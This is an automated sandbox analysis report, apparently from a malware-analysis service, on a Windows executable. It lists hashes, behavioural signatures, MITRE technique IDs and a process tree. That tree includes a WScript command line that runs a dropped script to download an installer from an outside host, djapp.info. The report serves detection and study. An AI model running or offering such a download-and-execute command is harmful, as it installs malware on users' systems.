ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf

Analysis

max time kernel
168s
max time network
187s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
28/11/2022, 06:32

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General

Target

ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe
Size

184KB
MD5

7e0ca5adf91991a244a2993689a4dfd9
SHA1

1af1ff2adfd559bff0c452908809f3e6edf3735f
SHA256

ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf
SHA512

b5f6d412f49175e7da8c9a2bef02896ff41f6c06fe9fddfc3db246534b4d6cce8ff695a286684d335c30030d4c6d05523c6f0cbbd025748cf10e54f57c8cf442
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3jp:/7BSH8zUB+nGESaaRvoB7FJNndnyp

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 13 IoCs

flow	pid	Process
9	4504	WScript.exe
10	4504	WScript.exe
21	4504	WScript.exe
23	4504	WScript.exe
24	5096	WScript.exe
25	5096	WScript.exe
32	3456	WScript.exe
40	3456	WScript.exe
46	3456	WScript.exe
47	3456	WScript.exe
56	4200	WScript.exe
62	4200	WScript.exe
65	4200	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000_Classes\Local Settings	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	24	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4792 wrote to memory of 4504	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	79
PID 4792 wrote to memory of 4504	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	79
PID 4792 wrote to memory of 4504	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	79
PID 4792 wrote to memory of 5096	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	80
PID 4792 wrote to memory of 5096	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	80
PID 4792 wrote to memory of 5096	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	80
PID 4792 wrote to memory of 3456	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	83
PID 4792 wrote to memory of 3456	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	83
PID 4792 wrote to memory of 3456	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	83
PID 4792 wrote to memory of 4200	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	84
PID 4792 wrote to memory of 4200	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	84
PID 4792 wrote to memory of 4200	4792	ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe	84

C:\Users\Admin\AppData\Local\Temp\ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe
"C:\Users\Admin\AppData\Local\Temp\ad015b438a29540a8aa1cf3c97af2b2ec37517ec6015141e09ecfea8c73410cf.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4792
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8C.js" http://www.djapp.info/?domain=rUZwrSKKiS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4504
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8C.js" http://www.djapp.info/?domain=rUZwrSKKiS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8C.exe
  2⤵
  - Blocklisted process makes network request
  PID:5096
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8C.js" http://www.djapp.info/?domain=rUZwrSKKiS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8C.exe
  2⤵
  - Blocklisted process makes network request
  PID:3456
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf8C.js" http://www.djapp.info/?domain=rUZwrSKKiS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf8C.exe
  2⤵
  - Blocklisted process makes network request
  PID:4200

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf8C.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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